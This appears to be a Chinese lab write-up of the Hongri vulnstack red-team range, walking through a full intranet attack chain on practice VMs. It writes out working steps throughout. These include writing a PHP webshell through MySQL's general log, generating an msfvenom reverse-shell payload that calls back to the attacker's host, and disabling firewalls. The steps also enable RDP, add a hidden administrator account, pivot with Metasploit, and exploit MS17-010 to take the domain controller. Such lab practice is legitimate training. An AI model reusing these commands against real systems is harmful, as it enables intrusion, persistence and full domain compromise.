内网渗透练习-红日靶场一
红日靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
环境搭建
web服务器win7既能用于外界访问,又能保证内网两台主机访问,所以需要两张网卡分别为NAT/桥接模式。首先添加一张网卡,然后设置为桥接模式
查看IP,并且确保能够互相ping通
web服务器(Windows7)
NAT模式:192.168.23.200
桥接模式:192.168.99.150(原192.168.31.100)
域控服务器(Windows server 2008)
NAT模式:192.168.23.202
域成员主机(Windows server 2003)
NAT模式:192.168.23.201
内网渗透攻击机(kali linux 2024)
桥接模式:192.168.99.164(原192.168.23.140)
外围信息打点
靶场地址:192.168.31.100
1,第一步信息收集扫描靶场开放端口
开放了80端口http服务和3306端口mysql数据库服务
2,80端口提供了一个phpstudy探针网页
PHPMyStudy 探针网页通常指的是一些用于检测 PHP 环境的探针工具网页,这些工具通常用于扫描服务器的配置、安装的软件、服务是否存在已知的漏洞或安全隐患。
这些工具可能会检查服务器是否在运行 PHPMyStudy(类似 PHPStudy),并暴露出一些常见的配置漏洞或弱点,或者是用于暴力破解、信息收集等操作。PHPMyStudy 是一个集成环境,通常用于 Windows 系统下运行 PHP 开发环境。
这种类型的网页一般会尝试识别以下内容:
- PHP 环境:确认你的服务器是否使用 PHP 环境,以及 PHP 版本。
- MySQL 配置:检查 MySQL 服务的版本,是否存在默认密码或其他弱点。
- Web 服务器:识别 Apache 或 Nginx 等 Web 服务器及其配置。
- 已知漏洞扫描:扫描已知漏洞,如 PHP 的特定函数、配置错误等。
- 外部工具探测:探测是否存在某些常见的 Web 漏洞,或者 PHPStudy、PHPMyAdmin 等集成工具。
3,然后再扫描爆破出网站存在的后台子目录
dirsearch -u 192.168.31.100 -x 404,403
看到存在phpMyAdmin网页,联想到开放的3306端口就知道可以通过网站管理后台数据库
4,基于已知信息再使用nmap进行精细扫描
nmap 192.168.31.100 -p80,3306 -A -sV
80/tcp (HTTP):开放,表示有一个 HTTP Web 服务运行。根据提供的信息,这是一个 Apache HTTP 服务器,版本为 2.4.23,运行在 Windows 上。Web 服务还包括 PHP 5.4.45,且启用了 OpenSSL 1.0.2j。
- Web 应用标题:页面标题为 phpStudy 探针 2014,表明这个 Web 服务可能是由 PHPStudy 工具搭建的,PHPStudy 是一个常用于本地 PHP 开发的集成环境。
- HTTP 服务器头:显示 Apache 2.4.23 服务器版本、OpenSSL 和 PHP 版本。这些信息有助于攻击者了解该 Web 服务器的具体配置,可能存在被利用的漏洞。
3306/tcp (MySQL):开放,表示有 MySQL 数据库服务在运行。警告:显示 MySQL (unauthorized),表明该 MySQL 服务没有授权保护(例如未设置密码或密码为空)。这会给攻击者提供未经授权访问数据库的机会。
5,通过扫描结果告诉我们未设置密码,真实情况是管理员未修改配置文件导致数据库登录的账户密码都是默认的root
6,查询数据库日志路径
show variables like '%general%';
查看包含 general 字样的所有系统变量及其当前的设置值。常见的相关变量包括:
- general_log:该变量控制是否启用 General Query Log(常见查询日志)。它的值可以是:
- ON:启用查询日志。
- OFF:禁用查询日志。
- general_log_file:指定日志文件的路径和文件名,通常是 hostname.log,记录所有 SQL 查询语句。
general_log:控制是否启用 General Query Log。如果该值为 ON,MySQL 将记录所有客户端发送的 SQL 查询到日志文件中。
general_log_file:显示当前查询日志的文件路径。你可以根据需要调整该路径来存储日志文件。
7,通过sql语句更改日志位置,方便进行日志getshell操作
set global general_log_file ='C:\\phpStudy\\WWW\\shell.php' ;
然后再再查看路径设置成功没有
show variables like '%general%';
开启读写功能,并且验证
SET GLOBAL general_log='on';
show variables like '%general%';
接下来select查询写入一句话木马(select查询语句本身不是恶意的,但是执行的时候整个查询语句会被插入到日志当中,导致日志文件事实上变成了一句话木马文件)
select "<?php eval($_POST['attack'])?>"
然后尝试访问shell.php,以验证注入效果
8,再使用蚁剑对192.168.31.100/shell.php进行连接,密码attack
连接成功,尝试反弹shell到攻击机kali上面
9,先关掉防火墙
netsh advfirewall set allprofiles state off
为了方便做内网渗透,使用metasploit进行攻击。msfenvom生成exe格式的木马文件
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.99.164 LPORT=4444 -f exe -o shell.exe
接着我们在kali上启动msfconsole开启监听模式,持续监听连接
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.99.164
set lport 4444
run
然后将生成的木马exe文件通过蚁剑上传给靶机
然后在蚁剑虚拟终端上面执行这个shell.exe
这个时候就能发现成功连上了靶机
10,尝试通过dos命令创建用户
开放3389端口允许RDP连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关防火墙
netsh firewall set opmode disable
添加账户、加进管理员组
net user
net user hack Attack@206206 /add
net localgroup Administrators hack /add
net user
11,还是使用nmap扫描靶机验证其防火墙是否关闭,3389端口是否开启
然后在kali上面使用rdesktop连接其3389端口
rdesktop 是一个开源的远程桌面协议(RDP)客户端,用于连接和管理远程的 Windows 操作系统主机。RDP 是微软的远程桌面协议,允许用户通过网络连接到 Windows 计算机并进行远程控制。
rdesktop 支持从 Linux、Unix 和其他类 Unix 系统(如 macOS)连接到远程 Windows 主机,提供了类似于在本地操作的体验。尽管它是一个基于命令行的工具,但它也支持一些图形化的功能,如图像传输和多屏支持。
主要功能
- 连接到 Windows 系统:rdesktop 允许用户通过 RDP 协议连接到 Windows 系统,远程控制并与之交互。
- 支持多种功能:包括文件传输、打印重定向、音频重定向、多显示器支持等。
- 开放源代码:rdesktop 是一个开源项目,因此用户可以根据需要修改和扩展它
最后通过密码Attack@206206成功登录靶机(不是最好的方案,上线时容易被管理员察觉)
内网信息收集
12,在被控靶机上进行内网信息收集,目的是找到域控以及域控内其他主机
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
13,通过IP信息判断是否存在域,我们使用ipconfig /all查看DNS服务器,发现存在域god.org
查看域内IP地址,arp -a
通过ping owa.god.org 确定域控主机IP192.168.52.138
信息收集整理如下(更正后):
域名为 god
域中有三台主机:
stu1.god.org 192.168.23.200
root-tvi862ubeh.god.org 192.168.23.201
owa.god.org 192.168.23.202 域控主机
14,exit退出会话,添加路由
run post/multi/manage/autoroute
run autoroute -p
然后退出并靶场当前会话
设置基于windows下arp表的扫描
search arp_scanner
use 0
show options
set rhosts 192.168.23.0/24
set session 1
run
15,使用msf设置代理模块,先查看需要配置的选项
search socks_proxy
use 0
options
set srvhost 127.0.0.1
run
vim /etc/proxychains4.conf
proxychains4 nmap 192.168.23.201
15,直接通过Metasploit路由功能直接扫描
步骤1:将Meterpreter会话置于后台
background
步骤2:添加内网路由
- 查看内网网段(假设目标主机位于 192.168.23.0/24 网段):
route get 192.168.23.201 - 添加路由规则(通过当前会话ID 1 转发流量):
route add 192.168.23.0/24 1
步骤3:使用Metasploit内置模块扫描
- 选择端口扫描模块:
use auxiliary/scanner/portscan/tcp - 配置参数:
set RHOSTS 192.168.23.201
set PORTS 1-1000
set THREADS 10
run
ms17-010拿下域成员机
16,既然靶场开放了445端口,那么就有一堆漏洞可以进行利用攻击。这里使用ms17_010_command
use ms17_010_command
set RHOSTS 192.168.23.201
set COMMAND "whoami"
run
远程执行的命令只能够一条一条的run,首先通过whoami确认了目标主机身份。然后关闭防火墙
set COMMAND netsh advfirewall set allprofiles state off
set COMMAND netsh firewall set opmode disable
run
开启3389端口启用远程桌面协议:
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
然后再添加用户密码即可,但是还需要添加账户进管理员组
set COMMAND net user hack Attack@206206 /add
set COMMAND net localgroup Administrators hack /add
set COMMAND net user
17,kali使用远程桌面上线win7,win7远程桌面上线win server 2003
相当于是套娃中的套娃,无奈之举。做一波信息收集
ms17-010拿下域控主机
18,和windows server 2003一样具有ms17-010漏洞
set RHOSTS 192.168.23.202
set COMMAND "whoami"
run
一样的命令,一样的套路。全部run执行
set COMMAND netsh firewall set opmode disable
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set COMMAND net user hack Attack@206206 /add
set COMMAND net localgroup Administrators hack /add
set COMMAND net user
最后也是通过这个愚蠢的方法拿下域控主机